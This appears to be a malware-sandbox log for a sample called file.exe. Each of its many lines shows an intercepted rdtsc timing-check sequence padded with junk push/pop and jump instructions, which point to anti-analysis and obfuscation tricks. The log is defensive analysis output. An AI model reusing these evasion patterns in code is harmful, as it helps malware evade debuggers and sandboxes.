Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118208 second address: 111820E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111820E second address: 111821D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B68A second address: 115B699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F2BD8E8A34Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B699 second address: 115B6C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CBh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2BD92E34D8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B9C3 second address: 115B9D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a jnc 00007F2BD8E8A346h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B9D3 second address: 115B9D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B9D7 second address: 115B9E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BB18 second address: 115BB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2BD92E34CEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BCF4 second address: 115BCF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BE5F second address: 115BE63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D9D59 second address: 10D9D5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BF86 second address: 115BF8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BF8A second address: 115BF9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007F2BD8E8A346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BF9A second address: 115BFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BFA0 second address: 115BFA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BFA4 second address: 115BFAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BFAE second address: 115BFBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD8E8A34Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115BFBD second address: 115BFC7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2BD92E34C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160F51 second address: 1160F5B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2BD8E8A346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160F5B second address: 1160F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F2BD92E34C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116193E second address: 1161945 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116ABAF second address: 116ABB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116ABB7 second address: 116ABBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116ABBE second address: 116ABD7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F2BD92E34CEh 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop esi 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A750 second address: 116A76E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2BD8E8A353h 0x00000008 jnp 00007F2BD8E8A346h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C30E second address: 116C325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD92E34D2h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D675B second address: 10D6772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jng 00007F2BD8E8A346h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007F2BD8E8A346h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6772 second address: 10D6776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11715F2 second address: 11715F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171763 second address: 1171767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1171767 second address: 117176D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11718B9 second address: 11718CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F2BD92E34CFh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1177FBD second address: 1177FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176DAD second address: 1176DC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CAh 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176DC9 second address: 1176DCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176DCD second address: 1176DD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176DD3 second address: 1176DD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176DD9 second address: 1176DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F2BD92E34C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176DE3 second address: 1176DE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176F3C second address: 1176F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11770A1 second address: 11770E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A34Ch 0x00000007 jnp 00007F2BD8E8A346h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F2BD8E8A351h 0x00000014 push eax 0x00000015 push edx 0x00000016 ja 00007F2BD8E8A357h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B09E second address: 117B0A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117AD88 second address: 117AD98 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2BD8E8A346h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117AD98 second address: 117AD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117AD9E second address: 117ADA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ADA2 second address: 117ADB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ADB8 second address: 117ADC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2BD8E8A346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ADC2 second address: 117ADD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ADD6 second address: 117ADEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F2BD8E8A34Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117ADEE second address: 117AE1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D7h 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F2BD92E34C6h 0x0000000f jmp 00007F2BD92E34CCh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118217C second address: 1182180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182180 second address: 1182186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11824B6 second address: 11824BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11824BA second address: 11824C8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F2BD92E34C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11824C8 second address: 11824DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD8E8A352h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11824DE second address: 11824E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11824E6 second address: 11824FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A353h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11827FA second address: 118280B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007F2BD92E34C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182D3C second address: 1182D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182D43 second address: 1182D54 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 js 00007F2BD92E34C6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182D54 second address: 1182D6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD8E8A356h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11832C8 second address: 11832E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD92E34CEh 0x00000009 jl 00007F2BD92E34C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11832E2 second address: 11832EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187E1E second address: 1187E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11873DB second address: 11873DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11873DF second address: 11873EF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F2BD92E34C6h 0x00000008 jnl 00007F2BD92E34C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187531 second address: 118754F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F2BD8E8A346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007F2BD8E8A346h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jnc 00007F2BD8E8A346h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118754F second address: 1187553 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187553 second address: 118756B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2BD8E8A34Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118756B second address: 1187570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118783C second address: 118784C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2BD8E8A34Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187B00 second address: 1187B1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F2BD92E34C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2BD92E34CBh 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187B1D second address: 1187B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192DF5 second address: 1192DFC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192F5E second address: 1192F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193854 second address: 1193864 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2BD92E34C6h 0x00000008 jnl 00007F2BD92E34C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193864 second address: 1193869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193869 second address: 1193873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11939DD second address: 11939F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jo 00007F2BD8E8A346h 0x0000000c popad 0x0000000d pop edi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1193C9C second address: 1193CA2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194AAB second address: 1194ACE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007F2BD8E8A346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2BD8E8A355h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A6A3 second address: 119A6AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A6AD second address: 119A6B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119A6B1 second address: 119A6B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D953 second address: 119D957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D957 second address: 119D95D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D95D second address: 119D963 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119D963 second address: 119D969 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAA11 second address: 11AAA30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD8E8A359h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAA30 second address: 11AAA38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAA38 second address: 11AAA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAA3C second address: 11AAA40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAA40 second address: 11AAA59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F2BD8E8A34Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AEA8C second address: 11AEA98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jbe 00007F2BD92E34C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE673 second address: 11AE67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE67B second address: 11AE690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F2BD92E34C6h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jg 00007F2BD92E34C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE7F6 second address: 11AE7FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4CEB second address: 11B4CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2BD92E34C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B4CF5 second address: 11B4D22 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2BD8E8A346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F2BD8E8A34Eh 0x00000010 push esi 0x00000011 pop esi 0x00000012 jl 00007F2BD8E8A346h 0x00000018 pushad 0x00000019 jmp 00007F2BD8E8A352h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B668A second address: 11B669F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2BD92E34D1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B650A second address: 11B6510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BAE75 second address: 11BAE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C121F second address: 11C123B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2BD8E8A353h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C123B second address: 11C123F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C98AF second address: 11C98B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
